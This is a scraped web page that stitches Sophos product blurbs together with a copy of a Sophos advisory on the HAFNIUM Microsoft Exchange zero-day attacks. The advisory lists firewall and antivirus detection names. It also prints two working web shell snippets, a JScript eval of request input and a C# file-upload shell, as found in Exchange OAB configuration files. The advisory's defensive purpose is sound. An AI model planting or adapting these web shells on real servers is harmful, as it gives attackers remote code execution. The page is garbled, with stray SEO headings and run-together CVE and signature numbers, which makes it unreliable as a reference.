Sophos Server

Posted : admin On 15.08.2021
Server
  1. Sophos Server Pricing
  2. Sophos Server 2003
  3. Sophos Server Core
  4. Cloud Sophos
  5. Sophos Server 2008
  6. Sophos Server Requirements

Sophos Central is the unified console for managing all your Sophos products. Sign into your account, take a tour, or start a trial from here. Sophos Central Admin is a cloud-based management platform that integrates the administration of multiple Sophos products, synchronizing operations and security. IT administrators use the console for their server, mobile and web, and endpoint management. Soon, the list will include email and wireless management as well. Enable Sophos Security Heartbeat: This sends server “health” reports to each Sophos XG Firewall registered with your Sophos Central account. If more than one firewall is registered, reports go to the nearest one available. If a report shows that a server may.

  1. Configure XG Firewall as the DHCP server to lease dynamic IP addresses directly to endpoint devices and a static IP address to a test server within the server's network. Go to Network DHCP. Under Server, click Add. The following settings are an example.
  2. To add a server (that is to protect and manage a server, so that it appears in the list), click Add Server in the upper right of the page. This takes you to the Protect Devices page, where you can download the installers you need to protect your servers.

Four new zero-day vulnerabilities affecting Microsoft Exchange are being actively exploited in the wild by HAFNIUM, a threat actor believed to be a nation state.

Anyone running on-premises Exchange Servers should patch them without delay, and search their networks for indicators of attack.

Sophos protections against HAFNIUM

Sophos MTR, network and endpoint security customers benefit from multiple protections against the exploitation of the new vulnerabilities.

Sophos MTR

The Sophos MTR team has been monitoring our customer environments for behaviors associated with these vulnerabilities since their announcement. If we identify any malicious activity related to these vulnerabilities, we will create a case and be in touch with you directly.

Sophos Firewall

IPS signatures for customers running SFOS and XFOS:

CVESID
CVE-2021-2685557241, 57242, 57243, 57244, 2305106, 2305107
CVE-2021-2685757233, 57234
CVE-2021-2685857245, 57246
CVE-2021-2706557245, 57246

These signatures are also present on the Endpoint IPS in Intercept X Advanced.

Sophos Server Pricing

IPS signatures for customers running Sophos UTM:

CVESID
CVE-2021-2685557241, 57242, 57243, 57244
CVE-2021-2685757233, 57234
CVE-2021-2685857245, 57246
CVE-2021-2706557245, 57246

If you see these detection names on your networks you should investigate further and remediate.

Sophos Intercept X Advanced and Sophos Antivirus (SAV)

Sophos Server 2003

Customers can monitor the following AV signatures to identify potential HAFNIUM attacks:

Web shell related

  • Troj/WebShel-L
  • Troj/WebShel-M
  • Troj/WebShel-N
  • Troj/ASPDoor-T
  • Troj/ASPDoor-U
  • Troj/ASPDoor-V
  • Troj/AspScChk-A
  • Troj/Bckdr-RXD
  • Troj/WebShel-O
  • Troj/WebShel-P

Other payloads

  • Mal/Chopper-A
  • Mal/Chopper-B
  • ATK/Pivot-B
  • AMSI/PowerCat-A (Powercat)
  • AMSI/PSRev-A (Invoke-PowerShellTcpOneLine reverse shell)

Due to the dynamic nature of the web shells, the shells are blocked but need to be removed manually. If you see these detection names on your networks you should investigate further and remediate.

We have also blocked relevant C2 IP destinations, where it was safe to do so.

In addition, the “lsass dump” stages of the attack are blocked by the credential protection (CredGuard) included in all Intercept X Advanced subscriptions.

Sophos Server Core

Sophos EDR

Sophos EDR customers can leverage pre-prepared queries to identify potential web shells for investigation:

When reviewing the potential web shells identified by the queries, the web shell will typically appear inside an Exchange Offline Address Book (OAB) configuration file, in the ExternalUrl field. E.g.

ExternalUrl : http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“key-here”],”unsafe”);}</script>

ExternalUrl: http://g/<script Language=”c#” runat=”server”>void Page_Load(object sender, EventArgs e){if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(“error.aspx”));}}</script>

Identifying signs of compromise

The Sophos MTR team has published a step-by-step guide on how to search your network for signs of compromise.

DearCry ransomware

The actors behind DearCry ransomware are using the same vulnerabilities as the Hafnium group in their attacks. Sophos Intercept X detects and blocks Dearcry via:

  • Troj/Ransom-GFE
  • CryptoGuard

Editor note: Post updated with addition of IPS signatures for Sophos UTM and additional detections. 2021-03-10 08:35 UTC

Cloud Sophos

Editor note: Post updated with additional anti-malware signatures for Intercept X and Sophos Antvirus (SAV) 2021-03-11 14:30 UTC

Sophos Server 2008

Editor note: Post updated to advise that signatures are now present on the Endpoint IPS, and the addition of two further AV signatures 2021-03-12 09:10 UTC

Sophos Server Requirements

Editor note: Post updated with DearCry ransomware detections 2021-03-12 16:30 UTC

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